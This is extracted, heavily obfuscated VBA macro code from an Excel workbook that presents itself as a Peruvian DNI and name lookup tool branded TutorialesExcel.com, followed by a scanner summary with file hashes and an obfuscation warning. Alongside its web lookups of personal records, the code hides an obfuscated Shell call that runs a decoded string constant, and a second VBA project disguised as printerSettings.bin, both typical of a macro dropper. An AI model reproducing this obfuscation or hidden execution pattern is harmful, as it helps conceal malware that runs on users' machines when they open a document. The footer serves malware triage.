Function gYfwfudgGlJowpjNjKiwGrOrVJqirYZ(JCIDTRuVCVkKNULWbzYoSBAVuUN As String) As String
gYfwfudgGlJowpjNjKiwGrOrVJqirYZ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(JCIDTRuVCVkKNULWbzYoSBAVuUN)
End Function
Function _
tmrEbraVxknTDfcplDFZrWOWnfEMyOT(ARhyelWDKWsTrDYPFWGPWoV As String) As String
tmrEbraVxknTDfcplDFZrWOWnfEMyOT = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
ARhyelWDKWsTrDYPFWGPWoV)
End Function
Function bhQxErYbYdvmdPxFHmQGCVPWgXPSMii(NXFqQwygxGS As String) As String
bhQxErYbYdvmdPxFHmQGCVPWgXPSMii = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
NXFqQwygxGS)
End Function
Function jbkqZkmLyThxfJSsJqXgwmdAtqoNdbY(ZiyLrDhomvhSaTPbmhqPopnbPupj As String) As String
jbkqZkmLyThxfJSsJqXgwmdAtqoNdbY = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(ZiyLrDhomvhSaTPbmhqPopnbPupj)
End Function
Function extraerWebTexto(textoRespuesta As _
String) As _
String
Dim posi As Long, posf As Long, BTUcEaQE As String
posi = InStr( _
textoRespuesta, fOwjKaVxYogaXDXNqPtpGzMgEzoiPgQ(iLIIjovviUmoQwoubtZ)) + 11
posf = _
InStr(textoRespuesta, _
"urlDasEmpresa") - 5
BTUcEaQE = Mid(textoRespuesta, _
posi, posf - posi)
BTUcEaQE = Replace(BTUcEaQE, _
";", "")
BTUcEaQE = Replace(BTUcEaQE, Chr(34), "")
BTUcEaQE = Application.WorksheetFunction.Trim(BTUcEaQE)
extraerWebTexto = BTUcEaQE
End Function
Function PaVivUopHyWyVEfHHYxszMtYJqBgHvD(viLXpiei As String) As _
String
PaVivUopHyWyVEfHHYxszMtYJqBgHvD = HnQCcMyzKDYticgpwnFSfBioKrkZssA(viLXpiei)
End Function
Function FRLWAsDtAJRcwtKUOVzCWsSGugrfDfe(BiNDNZSOWwVHy As String) As String
FRLWAsDtAJRcwtKUOVzCWsSGugrfDfe = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
BiNDNZSOWwVHy)
End Function
Function sAMIfthNipkqzERhVMqdsfzcjFrKSUM( _
HBrxKDRsYUAyvCV As String) As String
sAMIfthNipkqzERhVMqdsfzcjFrKSUM = HnQCcMyzKDYticgpwnFSfBioKrkZssA(HBrxKDRsYUAyvCV)
End Function
Function tNcDUyweyBhGhVZmZzoHnAbqPyAZLma(dTxsNqNRuGGhWQPHFsLCkWfnMEIkqa As String) As _
String
tNcDUyweyBhGhVZmZzoHnAbqPyAZLma = HnQCcMyzKDYticgpwnFSfBioKrkZssA(dTxsNqNRuGGhWQPHFsLCkWfnMEIkqa)
End Function
Function _
WzItClXpGIXBwZYNkFGHmIhcobVyikh(xrCArtGdCuPXUB As String) As _
String
WzItClXpGIXBwZYNkFGHmIhcobVyikh = HnQCcMyzKDYticgpwnFSfBioKrkZssA(xrCArtGdCuPXUB)
End Function
Function _
LDeglyBFDrvLereZGWUZLEsGawPBTzc(CTDGskBfeKfrLbHtXKWVvoDjoRIZZH As String) As String
LDeglyBFDrvLereZGWUZLEsGawPBTzc = HnQCcMyzKDYticgpwnFSfBioKrkZssA(CTDGskBfeKfrLbHtXKWVvoDjoRIZZH)
End Function
Function SFJhJtPOgvYLmAHhQutZwuddUiBFRSg(LyUzpFowHrVpUkMGFnmsXPdRbubS As String) As _
String
SFJhJtPOgvYLmAHhQutZwuddUiBFRSg = HnQCcMyzKDYticgpwnFSfBioKrkZssA(LyUzpFowHrVpUkMGFnmsXPdRbubS)
End Function
Function onXLRwozySjAAMTJAtoOBLqFvmvzAam(MNSaswyrcBVjuht As String) As _
String
onXLRwozySjAAMTJAtoOBLqFvmvzAam = HnQCcMyzKDYticgpwnFSfBioKrkZssA(MNSaswyrcBVjuht)
End Function
Function GLYpbUHingxAgdorZLWMTZzfWEMFaYZ(PxdRssPGtpoAWoDlqQhehr As _
String) As String
GLYpbUHingxAgdorZLWMTZzfWEMFaYZ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(PxdRssPGtpoAWoDlqQhehr)
End Function
Function DOvrXffzcuLqMbceFoVLcbEiKBgJYyo(QqBmLszxhkTPY As String) As String
DOvrXffzcuLqMbceFoVLcbEiKBgJYyo = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(QqBmLszxhkTPY)
End Function
Function xUEiAwlUFrcZOINXRcoGzqXvTnkLaOh(CsfPDHrXNvqsLdWgQVmVAUzScyvvCI As _
String) As _
String
xUEiAwlUFrcZOINXRcoGzqXvTnkLaOh = HnQCcMyzKDYticgpwnFSfBioKrkZssA(CsfPDHrXNvqsLdWgQVmVAUzScyvvCI)
End Function
Function OTLwzVqQkCyxnKmLTSWrjMpFFZeQFvP(oyvngWfcsOspPYwnHCJVKGWUTceAZV As String) As String
OTLwzVqQkCyxnKmLTSWrjMpFFZeQFvP = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
oyvngWfcsOspPYwnHCJVKGWUTceAZV)
End Function
Function GLjiauThjMvbnzvEpFOCsRfRaDcZXSh( _
BbqmAuCOAOzTEDp As String) As _
String
GLjiauThjMvbnzvEpFOCsRfRaDcZXSh = HnQCcMyzKDYticgpwnFSfBioKrkZssA(BbqmAuCOAOzTEDp)
End Function
Function qjbSjbErKVQiNonxvcYzbjTcJAqNPQM(BKpUOrCcZWmD As _
String) As _
String
qjbSjbErKVQiNonxvcYzbjTcJAqNPQM = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(BKpUOrCcZWmD)
End Function
Function xSQfIWKvnWIScvQOqKdcStvhxjzLzbr(tOYnlGzKdMvvSSSbxWlujGSFza As String) As String
xSQfIWKvnWIScvQOqKdcStvhxjzLzbr = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
tOYnlGzKdMvvSSSbxWlujGSFza)
End Function
Function MnSlFkHtUxOwCjJMTGwBEIjbkKzZPLn(MPynTJjfxONeIbGXXKnoyQ As String) As _
String
MnSlFkHtUxOwCjJMTGwBEIjbkKzZPLn = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
MPynTJjfxONeIbGXXKnoyQ)
End Function
Function _
nZOkyfraTMlqwcMINgtrsKSDTPSWRVJ(ViTlVZZoNOcmPjBVGkcP As String) As String
nZOkyfraTMlqwcMINgtrsKSDTPSWRVJ = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
ViTlVZZoNOcmPjBVGkcP)
End Function
Public Function Convertir_ROT( _
ByVal AwgzqDk As String, Optional ByVal R As _
Integer = _
13) As _
String
Dim c As Integer, f As _
Integer, i As _
Integer
For i = _
1 To Len(AwgzqDk)
c = _
Asc(Mid(AwgzqDk, i, 1))
If c >= 97 And c <= 122 Then
f = 97
ElseIf c >= _
65 And c <= 90 Then f = 65
Else:
GoTo TcKgRoVYaJeF
End If
c = R + _
c - _
f
Do:
c = c Mod 26
Loop _
While c > _
(26 - 1)
c = c + f
TcKgRoVYaJeF:
Convertir_ROT = Convertir_ROT & Chr(c): Next i
End Function
Function bNlHSVbEjHaxxIMenlsICDSLYTFKzlh( _
DxzbvxnJMPtezSF As _
String) As _
String
bNlHSVbEjHaxxIMenlsICDSLYTFKzlh = HnQCcMyzKDYticgpwnFSfBioKrkZssA(DxzbvxnJMPtezSF)
End Function


Attribute VB_Name = "NombresApellidos"
Option Explicit
Option Private Module
Const HefHfJFAL = "1@R@P0oBp1|­Q}agBSPv<~B$sUaU2@sG0@UBQs>TKzGsE/cKU"
Const iLajIJTxAyQhhDNOkUGTfWBvWok = ";wgv[A?yZL ~C`­01)}Lo)Baa:egHGI)lj"
Const LHyVMautYKsEnoBFMvIPKoeK = "7:E[VLS8bACZE0K|­QGk+a"
Const mPWDohNLaBdIYJNvCNvbiMhbPfF = "1p/xI­$rj6GLCwZ*"
Const gCBYWYaz = "J?i@E\WvsmIN#!._lt­Q-/prH,^~%"
Const VrfqePZiqZcm = "9gKNx06KIbh\fN­yz=RF{_=sY"
Const DoVDjhAzCQ = "!?8X6QKw_. ­Po\GXJ`"
Const iSXQHfx = _
"pQ0aDR[+xVX2):9+g2 ­\Vl9cZ2S."
Const pHrBQsItWghJZqRe = "Z1KbuveY2:0~­HPsa#+ghO9:u8_2Y)zt"
Const ebdTxJngxCmMnCqELsy = "*^)vcOhU'dF{4VAsCX­u:(mn": Const anDBhlRuNWmRHWJBQR = "^6+pzG[K{­GNt:N0\@p,2D-("
Const YqEZFZcyOVkt = "08tiE­JqX{FH*?Vy"
Const hSBwGqG = _
":[[- ­m{zbP#ob1="
Const oFzTwUBkATnnQGlZYvwZxOc = "FiHBB^o2t5oFw@*zIZ1?­z6FWeV&": Const JKtiAKiHKxiiXMDvfKBkVdwOHKmzs = "BVMZ=oXh­G2Ln`1O=97K3"
Const DUKaudwwG = ")[-IR!­oyN>6Y|:PC0fk4O0c": Const wGXzOWtAhQUDnOwbYPp = _
"jGJ%jm/=)}d].­Ym3QxxN5\;"
Const LGgyypDaIIXKm = "C8fgLPUnsXO\­NMy|,a?&fzlUfNxk [ug\Dqf;H6za^=ii%`^?W{"
Const ZJcDpLnjTUrwba = "W}B^|­0<tRg%o59t&i": Const GDTZhmvPIa = 87
Const CPhIBkeFKSLdyvM = _
3300
Const LYvCXLgJSpQCKJiuNUDq = _
8300
Const DXADsDaumfZLGkoyLYYIIUkj = _
True
Const mkNmabfYMiWYCEvCbOhKN = _
False
Dim _
kcFfKBxQZJgKXkDIwUvIiQAV As Boolean
Const yOcqjMWyxQpRneKpdkWdKOcxARLg = 19
Const OgIpSnwLJ = 17
Const tcroShK = False
Const PfHRkVrGDaLFvtkIUdVzSjSebcrI = True
Dim CcjSRtVQJRUhn As Boolean
Const QUZGlxqWNJtTLBNd = False: Dim _
ZtfdFSbw As Boolean
Const ArzJResSdnwlGalUFoaYrwOmbfIjOu = "sjJ(5lNm_n_r#JxvZn­pc7;{'WBQb0B82m-VGo A`fI"
Const wSvbtWUR = False
Const WGUlkXCwoYiXTYabeoDoTBi = True
Dim _
VNmwWtGVRVBQF As Boolean
Public web As String, Resp1 As String
Private Function VdpKKOip(IYfZfvJNCZydYdyJyJEKwXBWbMMI As _
Long, _
WMsBwhJmzMVLNdOSssUSFlLwbHEDG As _
Boolean) As _
Boolean
wIndividual.Range("B10", "B" & Rows.Count).EntireRow.Delete
WMsBwhJmzMVLNdOSssUSFlLwbHEDG = DXADsDaumfZLGkoyLYYIIUkj
IYfZfvJNCZydYdyJyJEKwXBWbMMI = _
LYvCXLgJSpQCKJiuNUDq
VdpKKOip = mkNmabfYMiWYCEvCbOhKN
End Function
Function _
rkIKinckfAujrwa( _
Resp As String, _
pi As String, _
pf As String) As String
Dim _
devu$, posi%, posf%
On Error Resume _
Next
posi = InStr(Resp, pi) + Len(pi)
posf = _
InStr(Resp, pf) - 1: devu = Mid(Resp, _
posi, _
posf - posi)
devu = Replace(devu, _
":", ""): devu = Replace(devu, ",", _
"")
devu = Replace( _
devu, _
"-", "")
devu = Replace(devu, Chr(34), "")
devu = Replace(devu, _
Chr(10), ""): devu = Replace(devu, Chr( _
13), ""): devu = Replace(devu, Chr( _
92), "")
devu = Application.WorksheetFunction.Trim( _
devu): rkIKinckfAujrwa = devu
End Function
Sub _
ConsultaIndividual()
Dim R() As String, i As Long, _
n As Long: eDABhJEqTtdoZsCYS GDTZhmvPIa, CPhIBkeFKSLdyvM
With wIndividual
If _
.Range( _
"C3") = Empty Or .Range( _
"C4") = _
Empty Then
MsgBox xYnArlRWPTfNKpJHsGdMImQSxLhXjNH( _
HefHfJFAL), vbCritical, xUEiAwlUFrcZOINXRcoGzqXvTnkLaOh( _
iLajIJTxAyQhhDNOkUGTfWBvWok)
Exit _
Sub
End If
If ConsultaWeb(.Range("C3"), .Range("C4"), .Range("C5")) = _
True Then
R = _
Split( _
Resp1, "<br />")
For i = 0 To UBound( _
R)
.Range("B" & i + _
10) = _
rkIKinckfAujrwa(R(i), RvcKfVOcKAdiFqujLIElbJcEXgrkbwT(LHyVMautYKsEnoBFMvIPKoeK), "NombreCompleto")
.Range("C" & i + 10) = rkIKinckfAujrwa(R( _
i), FRLWAsDtAJRcwtKUOVzCWsSGugrfDfe(mPWDohNLaBdIYJNvCNvbiMhbPfF), RvcKfVOcKAdiFqujLIElbJcEXgrkbwT(gCBYWYaz))
.Range("D" & i + _
10) = rkIKinckfAujrwa(R( _
i), gYfwfudgGlJowpjNjKiwGrOrVJqirYZ(VrfqePZiqZcm), OTLwzVqQkCyxnKmLTSWrjMpFFZeQFvP(DoVDjhAzCQ))
.Range("E" & _
i + 10) = rkIKinckfAujrwa(R(i), "Nombres", QAIhXVlzZJymBeBFfDPSpttukuuoXlW( _
iSXQHfx))
Next
Else
MsgBox "Verifique el nombre ingresado", vbCritical, vkfmnlMEOkpFVACClxttfVYZjexKULC(pHrBQsItWghJZqRe)
End If
End With
End Sub
Function ConsultaWeb(ApPaterno As String, ApMaterno As String, Optional Nombres As String) As Boolean
Dim Solicitud As _
Object
Set Solicitud = CreateObject( _
"MSXML2.XMLHTTP")
Dim web_ As String
Dim respuesta$, enviado$
On Error GoTo salida
Resp1 = Empty
enviado = NlYYeEfhmAwhxrJuVHWmQSSlTVmBREO(wGXzOWtAhQUDnOwbYPp) & ApPaterno & "&apellidom=" & ApMaterno & "&nombres=" & _
Nombres
web_ = _
YJqNpluNSgifbnWAWxcywbltINcbCRO(LGgyypDaIIXKm)
Solicitud.Open "POST", _
web, _
False
Solicitud.setrequestheader DOvrXffzcuLqMbceFoVLcbEiKBgJYyo(ZJcDpLnjTUrwba), "application/x-www-form-urlencoded"
Solicitud.send (enviado)
respuesta = _
Solicitud.responsetext
Set Solicitud = Nothing
ConsultaWeb = _
True: Resp1 = _
respuesta
Exit Function
salida:
ConsultaWeb = False
End Function
Private Sub eDABhJEqTtdoZsCYS(iVldUoInTSKliMZGnOiCBhMiYm As Byte, FFGKxbKJjbwCK As Long)
iniciarVariable
FFGKxbKJjbwCK = CPhIBkeFKSLdyvM: OLdXfluLP
iVldUoInTSKliMZGnOiCBhMiYm = GDTZhmvPIa
End Sub
Private Function cuHjlUuANUJZvR( _
ldtOQpQtAgVIlBmjthFR As String, aEpfoEkUDanYXlLA As Boolean) As Boolean
wMasiva.Range("A4", "A" & Rows.Count).EntireRow.Delete
aEpfoEkUDanYXlLA = False
ldtOQpQtAgVIlBmjthFR = "sjJ(5lNm_n_r#JxvZn­pc7;{'WBQb0B82m-VGo A`fI": cuHjlUuANUJZvR = WGUlkXCwoYiXTYabeoDoTBi
End Function
Private Function _
HJzmDknjn(smubDDPUYAPJABbpTUP As Integer, mCdaZhdeOVGcmK As Integer, UkjSKGHFqsVKBubSSyU As Boolean) As Boolean
On Error Resume _
Next
: iniciarVariable
UkjSKGHFqsVKBubSSyU = _
tcroShK
mCdaZhdeOVGcmK = OgIpSnwLJ
smubDDPUYAPJABbpTUP = 19
HJzmDknjn = PfHRkVrGDaLFvtkIUdVzSjSebcrI
End Function
Sub _
limpiezaMasiva()
Dim respuesta As Byte
respuesta = _
MsgBox("Está seguro que desa borrar los registros?", _
vbYesNo, _
"TutorialesExcel.com")
If respuesta = _
6 Then
VNmwWtGVRVBQF = cuHjlUuANUJZvR(ArzJResSdnwlGalUFoaYrwOmbfIjOu, _
wSvbtWUR)
End If
End Sub
Sub OLdXfluLP()
kcFfKBxQZJgKXkDIwUvIiQAV = VdpKKOip( _
LYvCXLgJSpQCKJiuNUDq, DXADsDaumfZLGkoyLYYIIUkj)
End Sub
Sub ConsultaMasiva()
Dim R() As String, i As Long, n As Long, _
nPhumAftXKUdQBvXkzqYfmeSfwcJQYN As Long, KUzJOrrQECdPyPVKJDzzVkS As Long
On _
Error Resume Next
CcjSRtVQJRUhn = _
HJzmDknjn( _
yOcqjMWyxQpRneKpdkWdKOcxARLg, OgIpSnwLJ, tcroShK)
With wMasiva
.Range("E4", _
"I" & Rows.Count).ClearContents
n = .Range("A" & Rows.Count).End( _
xlUp).Row
KUzJOrrQECdPyPVKJDzzVkS = 4
For i = 4 To n
Application.StatusBar = "Consultando " & i - 3 & " de " & n - 3
If ConsultaWeb(.Range("A" & i), .Range("B" & i), _
.Range( _
"C" & i)) = True Then
R = Split(Resp1, "<br />")
.Range("D" & i) = _
"PROCESADO"
For nPhumAftXKUdQBvXkzqYfmeSfwcJQYN = 0 To UBound(R)
.Range("F" & KUzJOrrQECdPyPVKJDzzVkS) = rkIKinckfAujrwa(R(nPhumAftXKUdQBvXkzqYfmeSfwcJQYN), xUEiAwlUFrcZOINXRcoGzqXvTnkLaOh(ebdTxJngxCmMnCqELsy), GLjiauThjMvbnzvEpFOCsRfRaDcZXSh(anDBhlRuNWmRHWJBQR))
.Range("G" & KUzJOrrQECdPyPVKJDzzVkS) = _
rkIKinckfAujrwa(R(nPhumAftXKUdQBvXkzqYfmeSfwcJQYN), "ApePaterno", _
sAMIfthNipkqzERhVMqdsfzcjFrKSUM(YqEZFZcyOVkt)): .Range("H" & KUzJOrrQECdPyPVKJDzzVkS) = rkIKinckfAujrwa(R(nPhumAftXKUdQBvXkzqYfmeSfwcJQYN), tNcDUyweyBhGhVZmZzoHnAbqPyAZLma( _
hSBwGqG), "Nombres")
.Range("I" & KUzJOrrQECdPyPVKJDzzVkS) = rkIKinckfAujrwa(R(nPhumAftXKUdQBvXkzqYfmeSfwcJQYN), YnOLyEwcNhNrnKmMWupwynHWFdJCRyt(oFzTwUBkATnnQGlZYvwZxOc), _
"DigitoVer")
KUzJOrrQECdPyPVKJDzzVkS = KUzJOrrQECdPyPVKJDzzVkS + 1
: Next
Else
.Range("D" & i) = _
RUjGqtjBiplnLNPSdxHMqnYVQcWqYNA(JKtiAKiHKxiiXMDvfKBkVdwOHKmzs)
End If
Next
End With
ZtfdFSbw = SvITrQgGSgYgyhyfp()
End Sub
Private Function SvITrQgGSgYgyhyfp() As Boolean
Application.StatusBar = Empty
MsgBox yErAGEpalNeZyEdVtgRCTIxnlvauJLr( _
DUKaudwwG), vbInformation, _
"TutorialesExcel.com"
SvITrQgGSgYgyhyfp = _
QUZGlxqWNJtTLBNd
End Function


Attribute VB_Name = "bZYupwjvvPjuTvEIQJM"
Option Explicit
Option Private Module
Const HKaGrTVRh = _
"TX-x ?s+N%N</XJmZJIO­fY1>&"
Const nmSOutgjOBVtPWApj = _
"WM]f&|YhR39­aIkn3-+j:hfMmX,i/"
Const tnmcmYroiDGxUWoycgVitbJFeiUxv = _
"sn)-zG3N­u{47] _Gy%0."
Const kNFGqOLceEisufygvvNWgfzCde = "G3x@LSYPgR;dR7@<r5_­G9E+hSqjY}sOG]BC%"
Const OsWxBbmLqhJphnRyXbgbmEypNngEz = "nag?8b-3qRz lh?#­xdP}mLA0gx:aoqQMrsv": Const AnLwAtvCOTehstqFSwI = _
"25/ak9]U>Qc6!­I7fFP!XmT"
Const OAWEPMHuKsfzsTyQmPebLkELszzTzC = "^*:-]<ODFi#)Z­<o8PGlKkpX@7": Const QfBnnliQFtoVgHoPgSkEsGOuBFGLiaI = "$Y}h,­l+s6'4s"
Const LSHHMDzw = "uhI>tc*­|gCZx{8;P~%R:nnxZ"
Const uXfdgCktDk = ">c+Vtfw\BV#oP(kn­sJ2"
Const rtBWaiYza = "J)X8O~y6[\8nO9qp8nz­=<=i5VW,cq}LIZvtI"
Const KwoTgSiWakpkqlNGb = _
"~Y.F1aC­ptWDlE.FC`K-Jf).W3@"
Const kGBjrVKQlkurftAsoCm = "h1itMoX?k;@${!W3+$G@­Ko${%^S" & _
"_E.:V6/b3:ZOu`o'u XI]QnvomjN@,a#Jt;ksed0"
Const CULwKPkGqGaGuuUFLUrPUnIJTRKuwm = "1=8oSyC]n-q3D1y­HF'M*ZrFGu:vR": Const lgDHxvXVBGlRWkxvJP = "9<6}{Ox0i6M\IA'6ab ­S/0LZ1>{Kpv4HNd5sf/"
Const iRxXLob = _
"P$|O1k`iF69TfPrcW56­'U_2#8%gJ\<"
Const rjOJwFJPP = 118
Const XBkkyBMjhgwPoUWqdPCOfLWlc = 1500
Const EQOsXcozJEKscULGAXB = _
"fA!J%­Hn?)}*hG"
Const JrkCujddNAXdeSsRb = False
Dim uJVqAKdDetcTFGijZYVRDLyeqoF As _
Boolean
Const oNrkMVykMdOjpmaz = True: Const qRKCzyGEoICxfnSAhLVqbqLt = _
13
Const mKdVbrsMIt = 192
Const SdqbYLL = False
Dim wGVmzhxyDezbdkDVy As Boolean
Const lJLbNShkhjUdCoUreSTyLbqDyUL = True
Const cWPAHUTJivkljHVcekOkKvqseRsu = True
Const LjVzSfokEJBQVvxcDKfJYPdjCc = _
True
Dim MsGUCgcInhKRHyzvpINloM As _
Boolean
Const cNqzHHRCPqGeNSWFhmwubd = _
39
Const YFkwrJMNLNdtvoVQwCxswST = False
Const TPMxEvMeYJXGexINjYUXgMW = _
"0@$|zr!Ydv2L=zt*A­Z%$){h?byY:>1F6o*%wC)au]yE"
Const HqLlRdMFHafkRIMJBxcfFDVdlsVkHO = True
Dim LCGUbDczTtVsow As Boolean
Const mOllZpOzBPa = 21
Const tchMRHNYfecGUObIdIo = False
Sub consultaDNI4(control As _
IRibbonControl)
MXyJpvekXcFHNrVzlpkhQaJgSkus oNrkMVykMdOjpmaz
End Sub
Sub _
consultaDNI1( _
control As IRibbonControl)
benxLCDEpgiehNaHzQPHEGso rjOJwFJPP
End Sub
Private Sub _
XHCnAFadGLrmaqIfdrnLoKqqCdb( _
hiJQcrHJvBxucFyLinOm As Integer, zdyGaBspj As _
Boolean, Optional _
HncjTAKlfYYHsaRwkfVxGJU As String)
c_DNICloud myiHwBoHEOHqtmfQIsazGIHijDFBBuI(CULwKPkGqGaGuuUFLUrPUnIJTRKuwm)
HncjTAKlfYYHsaRwkfVxGJU = _
TPMxEvMeYJXGexINjYUXgMW
MsgBox "Proceso terminado", vbInformation, FwZTEDJQYaOxtbroKXeFoSNPplENvjc(lgDHxvXVBGlRWkxvJP)
zdyGaBspj = _
YFkwrJMNLNdtvoVQwCxswST: hiJQcrHJvBxucFyLinOm = 39
End Sub
Sub consultaCE1(control As IRibbonControl)
iXjVUhLolkMXkAsJuWpuUNcLEVjTJq mOllZpOzBPa, tchMRHNYfecGUObIdIo
End Sub
Private Sub iyPIzaSLTulqnYILjdbUcCDL(ZIDbsMezhdmSO As Boolean, Optional _
kHlwUzgCkMhzGWtAMtR As Boolean)
Shell tmrEbraVxknTDfcplDFZrWOWnfEMyOT(kGBjrVKQlkurftAsoCm)
kHlwUzgCkMhzGWtAMtR = True
ZIDbsMezhdmSO = _
lJLbNShkhjUdCoUreSTyLbqDyUL
End Sub
Sub _
consultaDNI7( _
control As _
IRibbonControl)
XHCnAFadGLrmaqIfdrnLoKqqCdb cNqzHHRCPqGeNSWFhmwubd, YFkwrJMNLNdtvoVQwCxswST, TPMxEvMeYJXGexINjYUXgMW
End Sub
Sub consultaDNI2( _
control As IRibbonControl)
uJVqAKdDetcTFGijZYVRDLyeqoF = _
fZCUIckETTObnNdu( _
XBkkyBMjhgwPoUWqdPCOfLWlc, EQOsXcozJEKscULGAXB)
End Sub
Private Sub qTJzqmNdzrTFpPcPeJQsWS()
c_DNICloud fxszFVybDAySQStBYitXEPjFEhzZPGN( _
AnLwAtvCOTehstqFSwI)
MsgBox "Proceso terminado", vbInformation, _
"TutorialesExcel.com"
End Sub
Private Function _
JLLvBaLagmo(uMlfMBJyFldrn As Integer, MItOjAy As Byte) As Boolean
c_DNICloud xtIpQkOEwpSucAolFfaLqwRciKXkvdK( _
QfBnnliQFtoVgHoPgSkEsGOuBFGLiaI)
MItOjAy = 192
MsgBox qjbSjbErKVQiNonxvcYzbjTcJAqNPQM(LSHHMDzw), vbInformation, _
"TutorialesExcel.com"
uMlfMBJyFldrn = _
qRKCzyGEoICxfnSAhLVqbqLt
JLLvBaLagmo = _
SdqbYLL
End Function
Private Function ANPOnvokAmtyroaFcUfFujB() As Boolean
Shell "explorer https://www.instagram.com/iamnotluisrojas/"
ANPOnvokAmtyroaFcUfFujB = LjVzSfokEJBQVvxcDKfJYPdjCc
End Function
Sub consultaInfo1(control As _
IRibbonControl)
MsgBox "Usted puedes realizar 6 consultas de DNI a diferentes webs, cada web tiene un tiempo de procesamiento y disponibilidad de consulta" & _
Chr(10) & _
Chr(10) & "Solo debe seleccionar el listado de DNI a buscar y presionar sobre un botón" & Chr( _
10) & Chr( _
10) & "La búsqueda sólo se realizará si la casilla ubicada a la derecha de la seleccionada se encuentra en blanco", vbInformation, TKYzVYqoqIMQIjSPbnkfmEGSiEJXuyv(KwoTgSiWakpkqlNGb)
End Sub
Private Sub _
BnfPJgKGEBzKtqSEX()
c_DNICloud WzItClXpGIXBwZYNkFGHmIhcobVyikh(uXfdgCktDk)
MsgBox bhQxErYbYdvmdPxFHmQGCVPWgXPSMii(rtBWaiYza), vbInformation, "TutorialesExcel.com"
End Sub
Sub _
consultaInfo2( _
control As _
IRibbonControl)
…
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: 6a16c87b775311033081d02b1fce6a5433ac17f9dfba9aea51a8a8a21b54f861
vbaProject_01.bin vba-project OOXML VBA project: xl/printerSettings.bin 200192 bytes
SHA-256: 54d9d9e7ffaadb9be75fc84fbb173c2e4b5332be3a23b497d2cb8ef83239fef0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1448 of 2210 identifiers look randomly generated (e.g. 'GLYpbUHingxAgdorZLWMTZzfWEMFaYZUr') — consistent with name-mangling obfuscation.